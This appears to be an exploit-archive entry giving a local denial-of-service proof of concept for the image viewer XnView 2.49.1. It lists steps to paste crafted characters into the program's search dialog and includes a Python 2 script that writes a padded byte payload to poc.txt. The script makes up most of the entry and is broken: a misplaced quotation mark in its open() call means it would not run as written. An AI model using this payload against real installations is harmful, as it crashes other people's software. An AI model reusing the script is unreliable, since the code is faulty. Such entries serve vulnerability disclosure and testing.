XnView 2.49.1 Denial Of Service

2019.12.19
Credit: ZwX
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: XnView 2.49.1 - 'Research' Denial of Service (PoC) # Exploit Author : ZwX # Exploit Date: 2019-12-17 # Vendor Homepage : http://www.xnview.com # Link Software : https://www.xnview.com/fr/xnview/#downloads # Tested on OS: Windows 7 ''' Proof of Concept (PoC): ======================= 1.Download and install XnView 2.Open the XnView for Windows tools 3.Run the python operating script that will create a file (poc.txt) 4.Run the software " Tools -> Research -> A search window opens " 5.Copy and paste the characters in the file (poc.txt) 6.Paste the characters in the field 'File Name' and 'In' click on 'Research' 7.XnView for Windows Crashed ''' #!/usr/bin/python DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01" "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E" "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22" "\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41") poc = DoS file = open("poc.txt,"w") file.write(poc) file.close() print "POC Created by ZwX"


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